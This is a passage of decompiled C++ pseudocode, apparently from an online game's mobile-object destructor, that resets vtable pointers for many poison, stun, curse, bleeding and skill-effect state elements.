ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_MOB5POISON.astr_Tick); v1->asl_MOB5POISON.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB4POISON.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_MOB4POISON.astr_Tick); v1->asl_MOB4POISON.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB3POISON.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_MOB3POISON.astr_Tick); v1->asl_MOB3POISON.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB2POISON.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_MOB2POISON.astr_Tick); v1->asl_MOB2POISON.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB1POISON.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_MOB1POISON.astr_Tick); v1->asl_MOB1POISON.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GIANTELVENTREEENTANGLE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_LEGENDARYTREEENTANGLE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KQMARLONEENTANGLE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB5ENTANGLE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB4ENTANGLE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB3ENTANGLE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB2ENTANGLE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB1ENTANGLE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_ANCIENTSTONIESTUN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_DIAMASTERSTUN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KQGOBLEKINGSTUN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KQMARASTUN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB5STUN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB4STUN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB3STUN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB2STUN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB1STUN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB5SLOW.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB4SLOW.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB3SLOW.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB2SLOW.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB1SLOW.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SKELKNIGHTDISEASE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_SKELKNIGHTDISEASE.astr_Tick); v1->asl_SKELKNIGHTDISEASE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KQ_K_SOLIDERBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_KQ_K_SOLIDERBLOODING.astr_Tick); v1->asl_KQ_K_SOLIDERBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SGTRUMPYBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_SGTRUMPYBLOODING.astr_Tick); v1->asl_SGTRUMPYBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SHYLPHBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_SHYLPHBLOODING.astr_Tick); v1->asl_SHYLPHBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_JEWELKEEPERBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_JEWELKEEPERBLOODING.astr_Tick); v1->asl_JEWELKEEPERBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SENIORTORTURERBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_SENIORTORTURERBLOODING.astr_Tick); v1->asl_SENIORTORTURERBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BABYWEREBEARBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_BABYWEREBEARBLOODING.astr_Tick); v1->asl_BABYWEREBEARBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOBLOODING.astr_Tick); v1->asl_FOBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SHARPBOARBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_SHARPBOARBLOODING.astr_Tick); v1->asl_SHARPBOARBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_TORTURERBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_TORTURERBLOODING.astr_Tick); v1->asl_TORTURERBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KQ_K_PHINOFLIECURSE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KQ_K_BOSSPHINOCURSE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BCTRUMPYCURSE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KINGMUSHROOMCURSE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_OLDARCHONCURSE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MARASAILORCURSE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_OGRECURSE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STONIECURSE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_DISHARKANCURSE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_HARKANCURSE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GOBLINMAGECURSE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_OLDFOXCURSE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MARLONESOLDIERCURSE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SMARTPHINOCURSE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KARATEMPLERCURSE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_ARCHMAGEBOOKCURSE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SKELWARRIORCURSE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MARACURSE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_NAVARCURSE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KINGCRABCURSE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KEBINGCURSE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_JOKERTRUMPYTHCURSE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_ELFKNIGHTSOULDEXCURSE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KQ_G_TBRAIDERCURSE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_NOXSK2BLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_NOXSK2BLOODING.astr_Tick); v1->asl_NOXSK2BLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KQ_BOSSROBO2FEAR.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KQ_BOSSROBOFEAR.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GHOSTFEAR.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_ARCHMAGEBOOKSTUN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MARLONECAPTAINATKSPD.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KQSKELKNIGHTENTANGLE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_HUNGRYWOLFBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_HUNGRYWOLFBLOODING.astr_Tick); v1->asl_HUNGRYWOLFBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GHKNIGHTENTANGLE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KINGCALLACPLUS.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GOKINGSTRRATE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GOKINGSTUN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_ROBOACPLUS.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SKELKNIGHTBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_SKELKNIGHTBLOODING.astr_Tick); v1->asl_SKELKNIGHTBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_NOXENTANGLE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MARLONEENTANGLE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KINGSLIMEBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_KINGSLIMEBLOODING.astr_Tick); v1->asl_KINGSLIMEBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MARASTUN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SOULEDGEMAIN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_THUNDERBOLT.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FROSTNOVA.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_CURSEMAGICCASTIME.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_CHAINCASTINGCOOLTIME.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_DRAINMINDFEAR.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_CHAINLIGHTNINGSTUN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_ICEBLASTSTUN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_RINGSHIELD.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_DEEPER.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SOULEDGE5.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SOULEDGE4.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SOULEDGE3.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SOULEDGE2.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SOULEDGE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BLUR.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_LIGHTNINGBOLT.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_LIGHTNINGBOLT.astr_Tick); v1->asl_LIGHTNINGBOLT.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_ICEBOLT.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STINGERUPTIONSLOW.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SHOCKSCREAMWC.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_PIERCINGGUARD.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_PIERCINGGUARD.astr_Tick); v1->asl_PIERCINGGUARD.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_NATURECASTINGCOOLTIME.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_HAWKTALONATKSPEED.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SPIRITFOG.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_SPIRITFOG.astr_Tick); v1->asl_SPIRITFOG.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MISTCHARGE5.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MISTCHARGE4.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MISTCHARGE3.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MISTCHARGE2.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MISTCHARGE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MISTCHARGEMAIN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BITEARROW.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_POISONSHOT.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_POISONSHOT.astr_Tick); v1->asl_POISONSHOT.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SPIRITTHORNENTANGLE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BONEARROW.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_BONEARROW.astr_Tick); v1->asl_BONEARROW.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_WINDCHARGE5.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_WINDCHARGE4.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_WINDCHARGE3.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_WINDCHARGE2.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_WINDCHARGE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_WINDCHARGEMAIN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FORESTWIND.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_PURYIMPACTSTUN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_PURYIMPACTSTUN.astr_Tick); v1->asl_PURYIMPACTSTUN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_ICEFIELD.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_POLYMORPH.baseclass_0.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MESMERIZE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_DEADLYBLESSING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BLIND.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_ENTRAPHIDE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_HIDE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_NEGLECT5.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_NEGLECT4.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_NEGLECT3.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_NEGLECT2.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl 